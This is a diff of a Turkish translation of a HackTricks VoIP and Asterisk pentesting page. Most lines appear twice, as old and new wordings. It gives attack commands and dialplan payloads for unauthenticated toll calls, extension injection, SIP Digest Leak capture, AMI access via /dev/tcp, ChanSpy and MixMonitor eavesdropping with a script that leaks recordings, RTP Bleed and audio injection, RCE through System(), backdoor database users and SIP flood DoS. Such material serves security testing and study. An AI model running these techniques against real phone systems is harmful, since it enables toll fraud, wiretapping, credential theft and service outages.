* **`type=peer`**: Peer olarak arama yapılabilir ve alınabilir (SIP-trunk'larla kullanılır)
* **`type=peer`**: Peer olarak aramalar yapılabilir ve alınabilir (SIP-trunk'larla kullanılır)
Ayrıca güvensiz değişkenle güven oluşturmak mümkündür:
Ayrıca güvensiz değişkenle güven oluşturmak da mümkündür:
* **`insecure=port`**: IP tarafından doğrulanmış peer bağlantılarına izin verir.
* **`insecure=invite`**: INVITE mesajları için kimlik doğrulama gerektirmez
* **`insecure=port`**: IP tarafından doğrulanan peer bağlantılarına izin verir.
* **`insecure=invite`**: INVITE mesajları için kimlik doğrulaması gerektirmez
* **`insecure=port,invite`**: Her ikisi de
{% hint style="warning" %}
**`type=friend`** kullanıldığında, **host** değişkeninin **değeri kullanılmayacak**, bu yüzden bir yönetici **bu değeri kullanarak bir SIP-trunk'ı yanlış yapılandırırsa**, **herkes ona bağlanabilecek**.
**`type=friend`** kullanıldığında, **host** değişkeninin **değeri** kullanılmayacak, bu yüzden bir yönetici o değeri kullanarak bir SIP-trunk'ı yanlış yapılandırırsa, **herkes ona bağlanabilecek**.
Örneğin, bu yapılandırma savunmasız olacaktır:\
`host=10.10.10.10`\
@ -374,7 +358,7 @@ Her bağlam genellikle **`extensions.conf`** dosyasında tanımlanır. Bağlamla
```bash
csharpCopy code[my_context]
```
İçerikte, uzantıları (çevrilen numaraların desenleri) tanımlarsınız ve bunları bir dizi eylem veya uygulama ile ilişkilendirirsiniz. Bu eylemler çağrının nasıl işlendiğini belirler. Örneğin:
İçindeki bağlamda, uzantıları (çevrilen numaraların desenlerini) tanımlarsınız ve bunları bir dizi eylem veya uygulama ile ilişkilendirirsiniz. Bu eylemler çağrının nasıl işlendiğini belirler. Örneğin:
```scss
[my_context]
exten => 100,1,Answer()
@ -399,12 +383,12 @@ Herhangi biri, **sunucuyu kullanarak herhangi bir numarayı arayabilecek** (ve s
{% endhint %}
{% hint style="danger" %}
Ayrıca, varsayılan olarak **`sip.conf`** dosyası **`allowguest=true`** içerir, bu durumda **herhangi bir** kimlik doğrulaması olmadan **herhangi bir numarayı aramak mümkün olacaktır**.
Dahası, varsayılan olarak **`sip.conf`** dosyası **`allowguest=true`** içerir, bu durumda **herhangi bir** kimlik doğrulaması olmadan **herhangi bir numarayı aramak mümkün olacaktır**.
{% endhint %}
* **`SIPPTS invite`** [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS daveti, bir **PBX sunucusunun kimlik doğrulamasız aramalara izin verip vermediğini kontrol eder**. Eğer SIP sunucusu yanlış yapılandırılmışsa, harici numaralara arama yapmamıza izin verecektir. Ayrıca, aramayı ikinci bir harici numaraya aktarmamıza da izin verebilir.
* **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS daveti, bir **PBX sunucusunun kimlik doğrulamasız aramalara izin verip vermediğini** kontrol eder. Eğer SIP sunucusu yanlış yapılandırılmışsa, harici numaralara arama yapmamıza izin verecektir. Ayrıca, aramayı ikinci bir harici numaraya aktarmamıza da izin verebilir.
Örneğin, Asterisk sunucunuzun kötü bir bağlam yapılandırması varsa, kimlik doğrulamasız INVITE isteğini kabul edebilirsiniz. Bu durumda, bir saldırgan herhangi bir kullanıcı/şifreyi bilmeden arama yapabilir.
Örneğin, Asterisk sunucunuzun kötü bir bağlam yapılandırması varsa, kimlik doğrulama olmadan INVITE isteğini kabul edebilirsiniz. Bu durumda, bir saldırgan herhangi bir kullanıcı/şifreyi bilmeden arama yapabilir.
```bash
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
@ -416,17 +400,17 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
### Ücretsiz aramalar / Yanlış yapılandırılmış IVRS
IVRS, **Interactive Voice Response System**'in kısaltmasıdır, kullanıcıların ses veya tuş tonu girişleri aracılığıyla bilgisayarlaştırılmış bir sistemle etkileşime girmelerini sağlayan bir telekomünikasyon teknolojisidir. IVRS, bilgi sağlama, çağrıları yönlendirme ve kullanıcı girişlerini yakalama gibi çeşitli işlevler sunan **otomatik çağrı işleme** sistemleri oluşturmak için kullanılır.
IVRS, **Interactive Voice Response System**'in kısaltmasıdır, kullanıcıların ses veya tuş tonu girişleri aracılığıyla bilgisayarlaştırılmış bir sistemle etkileşimde bulunmasını sağlayan bir telekomünikasyon teknolojisidir. IVRS, bilgi sağlama, çağrıları yönlendirme ve kullanıcı girişlerini yakalama gibi çeşitli işlevler sunan **otomatik çağrı işleme** sistemleri oluşturmak için kullanılır.
VoIP sistemlerinde IVRS genellikle şunlardan oluşur:
1. **Sesli ipuçları**: Kullanıcıları IVR menü seçenekleri ve talimatlarıyla yönlendiren önceden kaydedilmiş sesli mesajlar.
2. **DTMF** (Dual-Tone Multi-Frequency) sinyallemesi: Telefon tuşlarına basarak oluşturulan tuş tonu girişleri, IVR menülerinde gezinmek ve giriş sağlamak için kullanılır.
2. **DTMF** (Dual-Tone Multi-Frequency) sinyali: Telefon üzerinde tuşlara basarak oluşturulan tuş tonu girişleri, IVR menülerinde gezinmek ve giriş sağlamak için kullanılır.
3. **Çağrı yönlendirme**: Kullanıcı girişine bağlı olarak çağrıları belirli departmanlara, ajanlara veya uzantılara yönlendirme.
4. **Kullanıcı girişi yakalama**: Arayanlardan hesap numaraları, vaka kimlikleri veya diğer ilgili veriler gibi bilgileri toplama.
5. **Harici sistemlerle entegrasyon**: IVR sisteminin veritabanlarına veya diğer yazılım sistemlerine bağlanarak bilgilere erişme veya güncelleme, işlemler gerçekleştirme veya olayları tetikleme.
5. **Harici sistemlerle entegrasyon**: IVR sisteminin veritabanlarına veya diğer yazılım sistemlerine erişmesine veya bilgiyi güncellemesine, işlemler gerçekleştirmesine veya olayları tetiklemesine olanak tanır.
Asterisk VoIP sisteminde, IVR oluşturmak için **`extensions.conf`** dosyası gibi çeşitli uygulamalar ve `Background()`, `Playback()`, `Read()` ve daha fazlası gibi uygulamalar kullanabilirsiniz. Bu uygulamalar, sesli ipuçları çalmanıza, kullanıcı girişini yakalamanıza ve çağrı akışını kontrol etmenize yardımcı olur.
Asterisk VoIP sisteminde, IVR oluşturabilir ve `extensions.conf` dosyası gibi çeşitli uygulamalar ve `Background()`, `Playback()`, `Read()` gibi uygulamalar kullanarak sesli ipuçları çalabilir, kullanıcı girişi yakalayabilir ve çağrı akışını kontrol edebilirsiniz.
#### Hassas yapılandırma örneği
```scss
@ -436,12 +420,12 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
```
Önceki örnekte kullanıcıdan bir bölümü aramak için **1'i tuşlaması**, başka bir bölümü aramak için **2'yi tuşlaması** veya bildiği takdirde **tam numarayı girmesi** istenir.\
Zafiyet, belirtilen **uzantı uzunluğunun kontrol edilmemesidir, bu nedenle bir kullanıcı 5 saniyelik zaman aşımı süresince tam bir numara girebilir ve arama yapılacaktır.**
Önceki örnek bir kullanıcının bir bölümü aramak için **1'i tuşlaması**, başka bir bölümü aramak için **2'yi tuşlaması veya** bildiği takdirde **tam uzantıyı** girmesi istendiği bir örnektir.\
Zafiyet, belirtilen **uzantı uzunluğunun kontrol edilmemesidir, bu nedenle bir kullanıcı 5 saniyelik zaman aşımı süresinde tam bir numara girebilir ve aranır.**
### Uzantı Enjeksiyonu
Bir uzantı kullanarak:
Şu gibi bir uzantı kullanarak:
```scss
exten => _X.,1,Dial(SIP/${EXTEN})
```
@ -449,15 +433,15 @@ exten => _X.,1,Dial(SIP/${EXTEN})
```scss
exten => 101,1,Dial(SIP/101)
```
Ancak, eğer **`${EXTEN}`** daha önceki Asterisk sürümlerinde olduğu gibi **sadece sayılardan fazlasına izin veriyorsa**, bir saldırgan **`101&SIP123123123`** gibi bir değer girebilir ve telefon numarası 123123123'ü arayabilir. Ve bu da sonuç olacaktır:
Ancak, eğer **`${EXTEN}`** daha önceki Asterisk sürümlerinde olduğu gibi **sadece sayıları değil daha fazlasını** tanımasına izin veriyorsa, bir saldırgan **`101&SIP123123123`** gibi bir değer girebilir ve telefon numarası 123123123'ü aramak için kullanabilir. Ve bu sonuç olacaktır:
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
Bu nedenle, **`101`** uzantısına yapılan bir arama ve **`123123123`** numarasına gönderilecek ve aramayı ilk alanın yalnızca kurulacağı... ancak bir saldırgan, gerçekleştirilen herhangi bir eşleşmeyi atlayan bir **uzantı kullanırsa** ve mevcut olmasa da, yalnızca istenilen numaraya **arama enjekte edebilir**.
Bu nedenle, **`101`** uzantısına yapılan bir arama ve **`123123123`** numarasına gönderilecek ve aramayı ilk alanın kurulacağı... ancak bir saldırgan, gerçekleştirilen herhangi bir eşleşmeyi atlayan bir **uzantı kullanırsa** ve mevcut olmayan bir şey yaparsa, yalnızca istenen numaraya **arama enjekte edebilir**.
## SIPDigestLeak zafiyeti
SIP Digest Leak, donanım ve yazılım IP Telefonları ile telefon adaptörlerini (VoIP'ten analog'a) de içeren birçok SIP Telefonu etkileyen bir zafiyettir. Bu zafiyet, **Şifreleme kimlik doğrulama yanıtının sızmasına** izin verir, bu yanıt şifreden hesaplanır. Ardından **çevrimdışı bir şifre saldırısı mümkün olur** ve meydan okuma yanıtına dayanarak çoğu şifreyi kurtarabilir.
SIP Digest Leak, donanım ve yazılım IP Telefonlarını ve telefon adaptörlerini (VoIP'ten analog'a) içeren geniş bir SIP Telefonlarını etkileyen bir zafiyettir. Bu zafiyet, **Digest kimlik doğrulama yanıtının sızmasına** izin verir, bu yanıt şifreden hesaplanır. Ardından **çevrimdışı bir şifre saldırısı mümkün olur** ve meydan okuma yanıtına dayanarak çoğu şifreyi kurtarabilir.
**[Buradan zafiyet senaryosu**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
@ -465,11 +449,11 @@ SIP Digest Leak, donanım ve yazılım IP Telefonları ile telefon adaptörlerin
2. Saldırgan, IP Telefonuna bir INVITE gönderir
3. Kurban telefon çalmaya başlar ve biri telefonu açar ve kapatır (çünkü karşı tarafta kimse telefonu açmaz)
4. Telefon kapatıldığında, **kurban telefon bir BYE gönderir**
5. **Saldırgan bir 407 yanıtı verir** ve **kimlik doğrulaması isteyerek** bir kimlik doğrulama meydan okuması yapar
5. **Saldırgan, kimlik doğrulaması isteyen bir 407 yanıtı** verir ve bir kimlik doğrulama meydan okuması yapar
6. **Kurban telefon, ikinci bir BYE ile kimlik doğrulama meydan okumasına yanıt verir**
7. **Saldırgan ardından yerel makinesinde (veya dağıtılmış ağ vb.) meydan okuma yanıtına karşı brute-force saldırısı başlatabilir ve şifreyi tahmin edebilir**
7. **Saldırgan, yerel makinesinde (veya dağıtılmış ağ vb.) meydan okuma yanıtına karşı brute-force saldırısı başlatabilir ve şifreyi tahmin edebilir**
* [**sippts**](https://github.com/Pepelux/sippts)**'den SIPPTS sızıntısı**:** SIPPTS sızıntısı, birçok SIP Telefonunu etkileyen SIP Digest Leak zafiyetini sömürür. Çıktı, SIPPTS dcrack veya SipCrack aracını kullanarak brute-force saldırısı yapmak için SipCrack formatında kaydedilebilir.
* **SIPPTS sızıntısı** [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS sızıntısı, birçok SIP Telefonunu etkileyen SIP Digest Leak zafiyetini sömürür. Çıktı, SIPPTS dcrack veya SipCrack aracını kullanarak brute-force saldırısı yapmak için SipCrack formatında kaydedilebilir.
```bash
sippts leak -i 10.10.0.10
@ -492,7 +476,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
```
### Click2Call
Click2Call, bir web kullanıcısının (örneğin bir ürüne ilgi duyan) aranmak için **telefon numarasını tanıtmasına** olanak tanır. Daha sonra bir reklam aranacak ve kullanıcı telefonu **açtığında** kullanıcı **arama yapılacak ve ajanla bağlantı kurulacak**.
Click2Call, bir **web kullanıcısının** (örneğin bir ürüne ilgi duyan) **telefon numarasını tanıtmak** için kullanılmasına olanak tanır. Daha sonra bir reklam aranacak ve kullanıcı **telefonu açtığında** kullanıcı **arama yapılacak ve ajanla bağlantı kurulacak**.
Bunun için yaygın bir Asterisk profili:
```scss
@ -505,7 +489,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
```
* Önceki profil, **BİR IP adresinin bağlanmasına izin veriyor** (şifre biliniyorsa).
* Daha önce belirtildiği gibi **bir arama düzenlemek** için **okuma izinlerine gerek yoktur** ve sadece **yazma** izni olan **originate** gereklidir.
* Daha önce belirtildiği gibi bir çağrı **düzenlemek için okuma izinlerine gerek yoktur** ve sadece **yazma** izni ile **başlatma** gereklidir.
Bu izinlerle, şifreyi bilen herhangi bir IP adresi bağlanabilir ve çok fazla bilgi çıkarabilir, örneğin:
```bash
@ -520,11 +504,11 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
Asterisk'te, **`ChanSpy`** komutunu kullanarak **izlenecek uzantı(lar)**ı belirterek (veya hepsini) gerçekleşen konuşmaları dinlemek mümkündür. Bu komut bir uzantıya atanmalıdır.
Örneğin, **`exten => 333,1,ChanSpy('all',qb)`** komutu, eğer **333 numaralı uzantıyı ararsanız**, **tüm** uzantıları **izleyeceğini**, yeni bir konuşma başladığında (**`b`**) sessiz modda (**`q`**) dinlemeye başlayacağını belirtir çünkü etkileşime girmek istemeyiz. Bir konuşmadan diğerine geçmek için **`*`** tuşuna basabilir veya uzantı numarasını işaretleyebilirsiniz.
Örneğin, **`exten => 333,1,ChanSpy('all',qb)`** komutu, **333 uzantısını aradığınızda**, **`all`** uzantıları **izleyeceğini**, yeni bir konuşma başladığında (**`b`**) sessiz modda (**`q`**) dinlemeye başlayacağını belirtir çünkü etkileşime girmek istemeyiz. Bir konuşmadan diğerine geçmek için **`*`** tuşuna basabilir veya uzantı numarasını işaretleyebilirsiniz.
Ayrıca, yalnızca bir uzantıyı izlemek için **`ExtenSpy`** kullanmak da mümkündür.
Yalnızca bir uzantıyı izlemek için **`ExtenSpy`** kullanmak da mümkündür.
Konuşmaları dinlemek yerine, bunları dosyalara kaydetmek için aşağıdaki gibi bir uzantı kullanmak da mümkündür:
Konuşmaları dinlemek yerine, bunları dosyalara kaydetmek de mümkündür, örneğin:
{% code overflow="wrap" %}
```scss
@ -536,23 +520,23 @@ exten => _X.,2,MixMonitor(${NAME})
Aramalar **`/tmp`** dizininde kaydedilecektir.
Ayrıca Asterisk'in kapanırken aramayı sızdıracak bir betik çalıştırmasını bile yapabilirsiniz.
Ayrıca Asterisk'in kapanırken aramayı sızdıracak bir betik **çalıştırmasını bile sağlayabilirsiniz**.
```scss
exten => h,1,System(/tmp/leak_conv.sh &)
```
### RTCPBleed güvenlik açığı
**RTCPBleed**, 2017 yılında yayınlanan Asterisk tabanlı VoIP sunucularını etkileyen ciddi bir güvenlik sorunudur. Bu zafiyet, VoIP konuşmalarını taşıyan **RTP (Gerçek Zamanlı Protokol) trafiğinin**, **İnternet'teki herhangi bir kişi tarafından yakalanıp yönlendirilmesine izin verir**. Bu durum, RTP trafiğinin NAT (Ağ Adresi Çevirisi) güvenlik duvarlarından geçerken kimlik doğrulamasını atlamasından kaynaklanmaktadır.
**RTCPBleed**, 2017 yılında yayınlanan ve Asterisk tabanlı VoIP sunucularını etkileyen ciddi bir güvenlik sorunudur. Bu zafiyet, VoIP konuşmalarını taşıyan **RTP (Gerçek Zamanlı Protokol) trafiğinin**, internet üzerindeki herhangi bir kişi tarafından **dinlenip yönlendirilmesine izin verir**. Bu durum, RTP trafiğinin NAT (Ağ Adresi Çevirisi) güvenlik duvarlarından geçerken kimlik doğrulamasını atlamasından kaynaklanmaktadır.
RTP vekilleri, iki veya daha fazla taraf arasında RTP akışlarını vekilleştirerek RTC sistemlerini etkileyen **NAT kısıtlamaları** ile başa çıkmaya çalışır. NAT devrede olduğunda, RTP vekil yazılımı genellikle sinyalizasyon aracılığıyla alınan RTP IP ve port bilgilerine güvenemez. Bu nedenle, birçok RTP vekili, bu tür **IP ve port çiftinin otomatik olarak öğrenildiği bir mekanizma uygulamıştır**. Bu genellikle gelen RTP trafiğini inceleyerek ve gelen RTP trafiği için kaynak IP ve portu yanıtlanması gereken IP ve port olarak işaretleyerek yapılır. Bu mekanizma, genellikle "öğrenme modu" olarak adlandırılabilir ve **herhangi bir kimlik doğrulama türünden yararlanmaz**. Bu nedenle **saldırganlar**, **RTP trafiğini RTP vekiline gönderebilir** ve meşru kullanıcılara gönderilmesi gereken vekilleştirilmiş RTP trafiğini alabilir. Bu zafiyete RTP Bleed adı verilir çünkü saldırganlara meşru kullanıcılara gönderilmesi gereken RTP medya akışlarını alabilmelerine izin verir.
RTP proxy'leri, RTC sistemlerini etkileyen **NAT kısıtlamaları** ile başa çıkmaya çalışırken iki veya daha fazla taraf arasında RTP akışlarını proxy yaparak çözmeye çalışır. NAT devrede olduğunda, RTP proxy yazılımı genellikle sinyalizasyon aracılığıyla alınan RTP IP ve port bilgilerine güvenemez. Bu nedenle, birçok RTP proxy, bu tür **IP ve port çiftinin otomatik olarak öğrenildiği bir mekanizma uygulamıştır**. Bu genellikle gelen RTP trafiğini inceleyerek ve gelen RTP trafiği için kaynak IP ve portu yanıt verilmesi gereken IP ve port olarak işaretleyerek yapılır. Bu mekanizma, genellikle "öğrenme modu" olarak adlandırılabilir ve **herhangi bir kimlik doğrulama türünden yararlanmaz**. Bu nedenle **saldırganlar**, RTP trafiğini RTP proxy'ye **gönderebilir ve meşru kullanıcılara gönderilmesi gereken proxy RTP trafiğini alabilir**. Bu zafiyete RTP Bleed adı verilir çünkü saldırganlara meşru kullanıcılara gönderilmesi gereken RTP medya akışlarını alabilmelerine olanak tanır.
RTP vekillerinin ve RTP yığınlarının ilginç bir davranışı da bazen, **RTP Bleed'e duyarlı olmasalar bile**, **herhangi bir kaynaktan gelen RTP paketlerini kabul edecek, iletecek ve/veya işleyeceklerdir**. Bu nedenle saldırganlar, meşru olanın yerine kendi medyalarını enjekte etmelerine izin verebilecek RTP paketleri gönderebilir. Bu saldırıya RTP enjeksiyonu adı verilir çünkü mevcut RTP akışlarına yasal olmayan RTP paketlerinin enjekte edilmesine izin verir. Bu zafiyet hem RTP vekillerinde hem de uç noktalarda bulunabilir.
RTP proxy'lerinin ve RTP yığınlarının ilginç bir davranışı da bazen, **RTP Bleed'e duyarlı olmasalar bile**, **herhangi bir kaynaktan gelen RTP paketlerini kabul edecek, iletecek ve/veya işleyecek olmalarıdır**. Bu nedenle saldırganlar, meşru olanın yerine kendi medyalarını enjekte etmelerine izin verebilecek RTP paketleri gönderebilir. Bu saldırıya RTP enjeksiyonu adı verilir çünkü mevcut RTP akışlarına yasal olmayan RTP paketlerinin enjekte edilmesine izin verir. Bu zafiyet hem RTP proxy'lerinde hem de uç noktalarda bulunabilir.
Asterisk ve FreePBX geleneksel olarak **`NAT=yes` ayarını** kullanmıştır, bu da RTP trafiğinin kimlik doğrulamasını atlamasına olanak tanır ve bu da çağrılarda ses olmamasına veya tek yönlü ses olmasına neden olabilir.
Asterisk ve FreePBX geleneksel olarak **`NAT=yes` ayarını** kullanmıştır, bu da RTP trafiğinin kimlik doğrulamasını atlamasına olanak tanır ve çağrılarda ses olmamasına veya tek yönlü ses olmasına neden olabilir.
Daha fazla bilgi için [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
* [**sippts**](https://github.com/Pepelux/sippts) 'den **`SIPPTS rtpbleed`**:** SIPPTS rtpbleed, RTP Bleed zafiyetini göndererek RTP akışlarını tespit eder.
* [**sippts**](https://github.com/Pepelux/sippts) tarafından **`SIPPTS rtpbleed`** adlı araç: SIPPTS rtpbleed, RTP Bleed zafiyetini tespit ederek RTP akışları gönderir.
```bash
sippts rtpbleed -i 10.10.0.10
```
@ -570,14 +554,14 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
```
### Uzaktan Kod Çalıştırma (RCE)
Asterisk'te, bir şekilde **dahili numara kuralları ekleyip yeniden yüklemeyi** başarırsanız (örneğin, zayıf bir web yönetici sunucusunu ele geçirerek), **`System`** komutunu kullanarak RCE elde etmek mümkündür.
Asterisk'te bir şekilde **dahili numara kuralları ekleyip yeniden yükleyebilirseniz** (örneğin, zayıf bir web yönetici sunucusunu ele geçirerek), **`System`** komutunu kullanarak RCE elde etmek mümkündür.
```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
```
**`Shell`** komutu, gerektiğinde sistem komutlarını çalıştırmak için **`System`** yerine kullanılabilecek bir komuttur.
{% hint style="warning" %}
Sunucu, **`System`** komutunda belirli karakterlerin kullanımını engelliyorsa (örneğin Elastix'te), web sunucunun sistemin içinde dosya oluşturmaya izin verip vermediğini kontrol edin (örneğin Elastix veya trixbox'ta) ve bunu kullanarak bir arka kapı betiği oluşturun ve ardından o betiği çalıştırmak için **`System`** komutunu kullanın.
Sunucu, **`System`** komutunda belirli karakterlerin kullanımını engelliyorsa (örneğin Elastix'te), web sunucunun sistemin içinde dosya oluşturmaya izin verip vermediğini kontrol edin (örneğin Elastix veya trixbox'ta) ve bunu kullanarak bir arka kapı betiği oluşturun ve ardından **`System`** komutunu kullanarak o **betiği çalıştırın**.
{% endhint %}
#### İlginç yerel dosyalar ve izinler
@ -585,39 +569,39 @@ Sunucu, **`System`** komutunda belirli karakterlerin kullanımını engelliyorsa
* **`sip.conf`** -> SIP kullanıcılarının şifresini içerir.
* **Asterisk sunucusu root olarak çalışıyorsa**, root hesabını tehlikeye atabilirsiniz.
* **mysql root kullanıcısının** muhtemelen **herhangi bir şifresi yoktur**.
* Bu, yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
* Bu, arka kapı olarak yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
* **`FreePBX`**
* **`amportal.conf`** -> Web panel yöneticisinin şifresini içerir (FreePBX)
* **`FreePBX.conf`** -> Veritabanına erişmek için kullanılan FreePBXuser kullanıcısının şifresini içerir
* Bu, yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
* Bu, arka kapı olarak yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
* **`Elastix`**
* **`Elastix.conf`** -> mysql root şifresi, IMAPd şifresi, web yönetici şifresi gibi birçok şifreyi düz metin olarak içerir.
* **Birkaç klasör**, tehlikeye atılan asterisk kullanıcısına ait olacaktır (eğer root olarak çalışmıyorsa). Bu kullanıcı önceki dosyaları okuyabilir ve ayrıca yapılandırmayı kontrol eder, bu nedenle Asterisk'i başka arka kapılı ikili dosyaları yüklemeye zorlayabilir.
### RTP Enjeksiyonu
**`rtpinsertsound`** (`sudo apt install rtpinsertsound`) ve **`rtpmixsound`** (`sudo apt install rtpmixsound`) gibi araçlar kullanılarak konuşmalara **`.wav`** eklemek mümkündür.
**`rtpinsertsound`** (`sudo apt install rtpinsertsound`) ve **`rtpmixsound`** (`sudo apt install rtpmixsound`) gibi araçları kullanarak konuşmalara **`.wav`** dosyası eklemek mümkündür.
Ya da [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) adresinden alınan betikler kullanılarak konuşmaları **taramak** için (**`rtpscan.pl`**), bir `.wav` dosyasını bir konuşmaya **göndermek** için (**`rtpsend.pl`**) ve bir konuşmaya **gürültü eklemek** için (**`rtpflood.pl`**) kullanılabilir.
Ya da [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) adresinden **konuşmaları tarayarak** (**`rtpscan.pl`**), bir `.wav` dosyasını bir konuşmaya göndererek (**`rtpsend.pl`**) ve bir konuşmaya **gürültü ekleyerek** (**`rtpflood.pl`**) kullanabilirsiniz.
### DoS
VoIP sunucularında DoS elde etmek için birkaç yol vardır.
* [**sippts**](https://github.com/Pepelux/sippts) tarafından **`SIPPTS flood`**: SIPPTS flood, hedefe sınırsız mesaj gönderir.
* [**sippts**](https://github.com/Pepelux/sippts)**'den **`SIPPTS flood`**: SIPPTS flood, hedefe sınırsız mesaj gönderir.
* `sippts flood -i 10.10.0.10 -m invite -v`
* [**sippts**](https://github.com/Pepelux/sippts) tarafından **`SIPPTS ping`**: SIPPTS ping, sunucu yanıt süresini görmek için bir SIP ping yapar.
* [**sippts**](https://github.com/Pepelux/sippts)**'den **`SIPPTS ping`**: SIPPTS ping, sunucu yanıt süresini görmek için bir SIP ping yapar.
* `sippts ping -i 10.10.0.10`
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Asterisk tarafından kullanılan IAX protokolüne DoS saldırısı yapar.
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Asterisk tarafından kullanılan IAX protokolüne DoS yapar
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): UDP/IP üzerinden SIP/SDP INVITE mesajı sızdırmak için bir araç.
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Birkaç iyi oluşturulmuş RTP paketi gönderir. Kullanılan RTP bağlantı noktalarını bilmek gerekir (önce izle).
* [**SIPp**](https://github.com/SIPp/sipp): SIP trafiğini analiz etmeye ve oluşturmaya izin verir, bu nedenle DoS için de kullanılabilir.
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP İsviçre çakısı. SIP saldırıları gerçekleştirmek için de kullanılabilir.
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Birkaç iyi oluşturulmuş RTP paketi gönderir. İlk önce kullanılan RTP portlarını bilmek gerekir (önce sniff yapın).
* [**SIPp**](https://github.com/SIPp/sipp): SIP trafiğini analiz etmeye ve oluşturmaya izin verir. Bu nedenle DoS için de kullanılabilir.
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP İsviçre çakısı. Ayrıca SIP saldırıları gerçekleştirmek için de kullanılabilir.
* Fuzzerlar: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
### İşletim Sistemi Güvenlik Açıkları
Asterisk gibi bir yazılımı yüklemenin en kolay yolu, zaten yüklü olan bir **işletim sistemi dağıtımını** indirmektir, örneğin: **FreePBX, Elastix, Trixbox**... Bunlarla ilgili sorun, çalıştıktan sonra sistem yöneticilerinin muhtemelen bunları **tekrar güncellemeyeceği** ve zamanla **güvenlik açıklarının keşfedileceği** gerçeğidir.
Asterisk gibi bir yazılımı yüklemenin en kolay yolu, zaten yüklü olan bir **işletim sistemi dağıtımını** indirmektir, örneğin: **FreePBX, Elastix, Trixbox**... Bunlarla ilgili sorun, bir kez çalıştığında sistem yöneticilerinin muhtemelen bunları **tekrar güncellemeyeceği** ve zamanla **güvenlik açıklarının keşfedileceği**dir.
## Referanslar
@ -630,14 +614,14 @@ Asterisk gibi bir yazılımı yüklemenin en kolay yolu, zaten yüklü olan bir
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan ileri seviyeye AWS hackleme becerilerini öğrenin</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
* Özel [**NFT'lerimizden oluşan PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details>